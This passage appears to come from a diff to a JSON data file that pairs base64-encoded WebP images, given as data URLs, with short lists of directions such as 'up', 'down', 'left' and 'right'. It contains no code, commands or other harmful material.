B636EwVULPuwrDUB3MvBvYn108DGXdBdlfncSpMFw95O19FZu/OYr30Caf/8enMIwtcbatGJPzVSrKTJE21itUoB7wtGOQ5jXLzgzUcDxT1sPqLstfOmew5pD69dLv11a7a4o3VO9cKdmeAvaQ6JmrmurNnCLOIc2Sq87O2rOQLdFkQzetEinq5CSuv5ZyN9JMFXaOSTLHb640pQIPReM2bLWxozfe+cfY/USPywr0M+Gdf3i8S64kAwUfktLfuoIIrXfPeBtGireKP0cEncOdLoJSJchqo2Pzjj7nINgWwf31M17mHvV4a1sqQ17o+KGv8eIrlSrZkDznEC0+5h67UVAZcc4hqH7WUuccgmabdqdL1pA2lYRVEvcURR9GFT8T/0389+eUAg==": [ + "down", + "up", + "left", + "up", + "right", + "down" + ], + "data:image/webp;base64,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": [ + "right", + "right", + "down", + "up" + ], + "data:image/webp;base64,UklGRgAFAABXRUJQVlA4TPQEAAAv/8A/AN/hqrZtpdqCewR+iU4sKrg8OTUYNJKkaHr27hl1vOV3+AIYWEWS7GR2l5xVoQ95yOA3M/8B0TYgWS6d+y5+xPf7PS98CDAtK1qERfwSFZJUSGywFUKkQiBA8rJWIkRem2xEKAAhQsQR6V+zSvrj35yGadF0g3Gc2Za/r1/VWCNko6AI2SyEjYgjHNENk2X9/bZbejXw4JwPc7lxSLRtO20jhmHmCQwz88z//1jh6UrzdJ8HIz8pckT/ZdG2VbXVPOcMgyN20PsEJEm/N8yPlf9WcPv6LZOYeBmzidWl7ueiOrHMpphlJsUtsyh2mUHxS/XFMJUXx1RdLFNx8Uy1xTSNrh9iqq41L5/Piam4pkbsvut0Vky11Sdu913l1Fr01h0uiKmyLrBbdwk+1PiY3boTkPqK3robktqK4rpj+AJdVxBdd+2uMjrVdeeussiuu3eNxdD3UYoL2tQxZ3d3gjGmmW12bY+z9jps8uyyj3krQKT69emaKm8zhKdab7mg54rMvUG8ibkk3Z7hCe8PofuuO1BEOJ3u1yyiP3zMMc3xeJCF/Nppm87eM6idpnn5+Un3vnTqDqB2muaVPT8Z3L3dhdpgM2z37UlnmFvsFKANR1gpXThFXAHMcB4kd5m3d4jXuAnRhHEya9cLokQEonRhtY20gpjF8DD5FGcN8ibGG0iTBh+MFUiJipBgXxhrkHmcFhI6nOFrUSBv4rxBiIOPGQyfd+evYEpkhIUuSf5rlr2XmHmshqnC4IOrO+WkYDtd86rQm0kYfFBVQKUkbF6DesPUu6IqmjCOJaqoCOhQaWraNOESlh4WddGFg1a0zkGXcHzd1WuNJmEFgqFZURmufAe2wnOqT32n57FWo+6DtqP6QyWn6dWES7hZFMXRNR/yPPcze+rfiXmj2xthLwIv852fLtm6DC9Fu/JH18PzqYzdKAv3W2k0985c7JixgcJ1mAbp7scSE6xjyVv8suH5WKOwcGmN834yWpwmdG80p9GkBGCdI/6UJBkGFfMvlCTPo0apjBp3nQ+vS38KfKWZdIVZ4+6W6nUnzbB5R4vqnlSmzbta1H0ZP1HGzTvPy2OqD48uXWy9TPLYbDRv3j0THr8TV+qlPhmw7pAijz8CN6jODF13gftrpgbdrbIV1mNTNfB2paXQLueOQUyHPoZ/M0z1aKeUYrpL5rtov1/+xiPzTUdrcGGmjrvsH3ebP+8aCPPuAbDuMgDW3QbAuusAWHcfAPddBsB9twFw33UA3HcfAPsuBsC+G/v3Xdm/725o77u8b/2+2+rG77uu7rbvu6/uzvd1F/o+fcry191UN15141U3XnXjVTdedYXWVFXX/G57+t97g9mnTvJUXas7un1QpPpR8D21Lfw8PtQ+clX3G69wjJnmN95hGa9JFuFTTtRtnebONF6oLctPvXGyril8Et14if6Spf3l5V7uqPex1rAlY3dAy1gTar3ljKNi1rHWMrE23ZmfSrm/sjnIWccM0yPnVaDbHg6284+UIxLHNCcemJZwYmVA+RrSEy4r4E/iO//YSNd0yNzJxzHJmi3IhPJrR5I1O+KD849XpXiypiPcgtj1sPfwnAPqsQlunApbwnOOsP2bGzbEk7AteM4R9tTtiDQXNzc0usp7KgasSrqpGtg2vtnd1sDaxjebtTrSNj9W/lv5b3U6Bw==": [ + "down", + "up", + "left", + "up", + "right", + "right" + ], + "data:image/webp;base64,UklGRsgDAABXRUJQVlA4TLsDAAAv/8A/AHfBJgDbNpKyvnzhjyBccoVI9xQNBm0bSWo6WgjLH8HCWgrPvWUUSZKiXHyufxvrCO5OBN/8ByQgtypU0npFNcmIQCCQAKCIXyAgUBRTHIggmwAJIiQDAMTA4ALw1M/tN+7L+7PPqM7DzODgfJzfvk7//2M+FMs69dE5JDiSpEgSM3MtM8P/v3c00BkZuXyVMdAR/YcESXLbpu9oHSUIzjYAKr0nwo///vvvv5+kHR03FJsbw1n1Z3G/1pNjoJAf2Xistm0fxTFUOGITPV+0ThvSRQPGbKOnM4okutDOWOILsGALIvbULRa4AomtqW6fDWF4X6hVvvDeXUvTUSLFHFTKYRTBXYkuFbwr0aWWSsp9jCrGV4w5SWOzOcQVRopDmM2h1iBSYlGkfbKnoX22Xr08Nhyv6iPmdk3e3XbHdKreNBx3faWWimRbegWVWiq2F3JUBw99/h5e2SYDFt+FFqDBQue1OJcAi7XjpmOpw5zOKYDi2bwoncYvnNV6/9RDsdCsTrnU/HE3ZpqNddkFsx0vSaqJq/kDqY5M7JvhNO6yUZZYGrQz/Y677cgKnXmXJbMkM+82ZnUWrXUX51ehfSwi14hXApGs7RUca9SFfiIgq8ybBH8iDWmfvNw0HA2Mu/ie1AqUWoIw7w9WagnA2DmE78IVYfYFXINVfxCLNaqNawUtqEItFix3w5fh7+R09E1yI4qOLHf5j7uC0/9xBwiLzOddIPZ5z7txEF93CXz1qSSWVcLrrrEbH+LJdxYpfhKclnFHtL3cNhwNjLv47t5ijbs5QzvugGOSmFr7/D284vsGct0FwqwjmOtuCDZcwSyYwl13t7YTvgx/J8NvkuF3lNzHXcFpr32MuzP8eVeGP+9Oxusu0a88ZuyKYrdX3vuk+Enx05C2Cne7C8Jojbtp3+8ACPHb3aE4onq7S/KBserIHkbBHUrxzte+RZvE31G4466TzmK+30F3tOddQEjPu6HwXncJW8nYFcVuXN77pPhJ8dMQDu/bXfB1y2rczft+B0CI3+4OBvfbXWIgf7tbtjALAAHc7j5+0e9E3yT8jt5Z4y6w4w7L0c+7zg9L8PNuSycTP53EUroLsdmKP2JzYNUjLllcopL76TQqDWvHbmOVx+Y4WWyx51Q6j5F/6T7836bMv+p9Y6A674FCbPjeYs/FYxrR+h9uB915UgmnW/C5xkaGv+W231eWFHTnmcFnkoqWwRbkJLzwkk4c/BJ7rnDTOnB5xs3pxUT48d9///33AzMBAA==": [ + "down", + "up", + "right", + "left" + ], + "data:image/webp;base64,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": [ + "right", + "right", + "left", + "down" + ], + "data:image/webp;base64,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": [ + "right", + "right", + "right" + ], + "data:image/webp;base64,UklGRvgJAABXRUJQVlA4TOwJAAAv/8A/AH/luG0bQVrJzry3/2b37rLXg8O2bQPJdHz3+y/8x7Bt2zCV7KTH7P/zhs6/gCShA3bjyjnWtef5nv6H0fP7Pd/TVRddddUFAFgBOVkBVgAAdGFl1VUXVlYAkFNXAADgsAJWYwH8ZWF13pUT0BVgBSwti6666MpqnevLxYu39LcipzXMU10Bufh+7UcXXXVlYbWI+/kc1xhRRrWkqrGIBBOQEUENaQwiiUgyIjpdREZSBAmjCMmERGAEmYgwkoiqJKKosYwiahAJMcYYyzgK2rZhEv602x0GETEBdCMWkrzTsratbSShc1oL6NvewPQmZgmzibmf28oZyqFzd2UKdU4VDIsUSAhcaLK/L6L/E2BttvZEkiOFM2Krzcxsz5TUNWhmZnaPa7JVZmZq1+ar/x+Qpeotd37c50b0fwLEyv8r/6/8//dNrwhpACIEP7FueLo3SFJBkozeXz+ZHvweUtsYJhHRKEUIZyWtoCRFP3lCTMpWLDonaQZ0QIhkst5PmzeSslcf7GADSSFm0E+YENMAvHKza9zx/p8GxDBVSNLA5c41B+gNksI0IWWh25J8pjBFSJJix9akPkl6cXqEJKN34+94jm++lw6WcxXqvQFnZkyLkCTzbqzvSdUBiGGMvAFnJkaS5N3I0BsbSDGMkDdgWvyapOjqISYrfXMgfV+Sfri3pt6AKRHTwNLlHdBb8fDJ61z5zmc+sGLvOkCSegNNh5A04Gory/c7NHp2JqOvyQA/GWLSMK+tkkHfsRFEA4aaN+inQkjS0lWSZHjXBJ9RUW/gJwLAXiUa/OLGdkCWw0BSdNU/DdpccUHSXFI246wekvRg1es47QGS1wzIOmAnBYNzKvcGuC0wJClW3jPwTa5M1UvZ2bSh0R+r8/QGRM6EXRYN9kregNmosJA0iiTp/pIM+ib6sbLO2Ax/TLz6z5NkVUXCYlclY1Ux4MyIEFOZMCIk6edKb3B1kwu1S9lnm7G12T167RsD0rjiisfuu3bnhLTWaVf0xnC5I4PFKo39Obhyd2gM89Ic8E0EZJKTFDbIl8064P6Xv7O05b+/6b1TV90FMa3lygZDV1mkTUMFY6AkoG+zrEUnic2GeaOwf2jFbUkAq4V2RtL6UskbhMoibR4q+zYwLy0HrM28piw0oEGIJFn1eEgSh/u7ICStT5d6g650R2oZStjAsjQfMN9EI0Kr5ZibFi/FVP4fAP7mo4cfZ9Utkv5yZYNPnaQOrMmvmaQPBih0JGkBLWKqO0krg3GS7i+EyF9pN/7x29N8ViNuM7hY2m+jUHpmgHlplUSbMOKUk8612MVPc/qw9ITBlaXDRrF053FQrB05ae+k9MYYa6SSBlhuLYz4+BTnTjQyeK70WVJ0+exsar3oyL5POshmnE0Dru3dNemfv4/Sv+HaLw/JQdL3W9MXI/4ty+PxyXfVySlJb5cOYLWXdYtmwRW/MpRJIUmtrvnyxBRHPG9QopkrGzxbikk0Sye7VaNYuvZ4PHWi+rV0l8G50qJRKD1mcPvWZl/W/vsbv/xzkukWSeuSBlhmkn7ZzAAnqYPDAVwZUmj0cKqad1JoMQAniNOl5QCVB5r4ig0sS/MtfFTrnaR4oiFpfak0H+Cdks438K60bwPz0nIgucZ/17yTQmq4WgKRk8EqrVXSAL9V9s5v5F3FGFAZiI0erv3oJMUWnSuHp9/dAUe///qEIuOQpEVXCEnDsiTd9+Oo1d2u2hsplO4yeLpJx+UhA+bZ7xutddqN/c81D77Db1Y9XkD/2oVbXPZJWpUU08C8Ii1WFRadq3qD6MpfG9zQaKg5SSFtdsk19Op13D6Tl9uNMUmVkAYY0cHirCRghAGhYvC1a3O5Ns9iA9d6dkbxs+MBnJ2B25UhSYuS4gDsjWEGjPrVoHflVwzuajTUnKSQNj/dLj8rHfy5jZ9467HgpNkugQEVfZakVQfZeIA9Pk/SqqsMBmq7b+WjU1lva0m1I/jYbf/a+x5bMhStOgA/v8n917hd7A0uVWYpXzQ6n/KushwM3+iw5nLbzB3b+WWNkULndndvrE9X+CxJWjX5JEladZX5gPVuOzqV+b7wWTkdcer4qAN8Lzvc74o7zBtr1fgsSfrtnY0+WStJn3e1Acy36qoaPavqWGeSRHWH6cO/kmIhJ0kG/cUrpewqPbJKkoze1VcGb2hC/pWkWFOIWf5pBAYg672r9wa4SZkkhZpEXyJJKsXgRnoD9qZFSJIYIfl+gxjcWG/AuYnRLZKMfoyku57n4DNJrz96qxvfG6TgJmbHIhn045ovDQiaHiwMODq1tfmAgXdTBJ/x8XauXg6ZdxPV9yRJfbMZ0ZKkH+5107XPoPdNQjSy6CZtiBn08huESLIsBjd1iVn+69vSc8B7/KkkZTG4Kbx/aKQqgCQBDMu5m8Yd7K8a9N5N5q64UITCChbeTekSqAqg//t/5f9/wa0ARFEvyZ0aQAWgjj09AXAG4ATAWedzclYHKwB1sAJQB1+Q7FcFh6uC+SmSx5Ho2pbkImhJOr7vzIHhpyWJ4IIk/K59+NBZR9Kyl6IhXbQcWy7Ycp3vOkmQoSMOpCxJR/IyMx3g8Q42Dp5B09D1fABwGNj/akm64ILkV77BbH8zinKhxWVWypVhs0ly67mLf/P9Ys5JBbRqAMK4jpYyJ1MI6TZG0WNcNz2eIlsyJzf25CggeZDPyVh4O/q+jL63+bwYCxd/3lz9VfQ5n8kosKQefXL0iXyrkaBzakrKklxCk+Iy/j4yJ5SCUaQZyFBLUgRVD2Q16fATX3nzQH3eFW1loiy+X3BOJXqzk8wJwI31SwQVaTStNz9LMgGF8Jsbkj+C34F3kz0R/0fojchdt7SEl1qiI3XzLbvr4wSUyHUCgEZRLFNakk6RkiSg2SA7Hl+bwUW2FQCxZOk8JC1JTUuXfu3fBaAoUAEQS3sJ0SVuSUb4fMFr8vXFDfnJ7WAXgAw+WjpL2CyFQbfKx/WdoAFGlfItmkmFGkDlbeLd2NnGyNj1KNH7Q6xJJYDZcJZkOb32iP6vBsH7fsbvm1S6kyjezy0T4UMseupOpi38iuQEFYTsMC2eyuUx7XAnelfoURfPrkdFOLEko2y1gMMXbwCcANv9vMqFUbwvom0PNXh5IaaO9TE1Uz5Ny0SBtrzlD9zwHrc/gADnaRmUr22dxeltSbZYAQlRFY9MSIaatFBIsySgA0xKlY/27KSBUJMSyte4NhKVAe6nszgqH9c+SQUhjgiVmAypZC5FIclk8DXAZI7KR1o6UqXDgNVDVRPfi/KB1IYKCZsAZSKHBZR+iGmcihGqQnIgeCZjBHctKjFwDY8ZJYeONEokokYJDBWG9xkx3scfjha01GMOlyDFyv8r/6/8DA==": [ + "down", + "up", + "up", + "left", + "right" + ], + 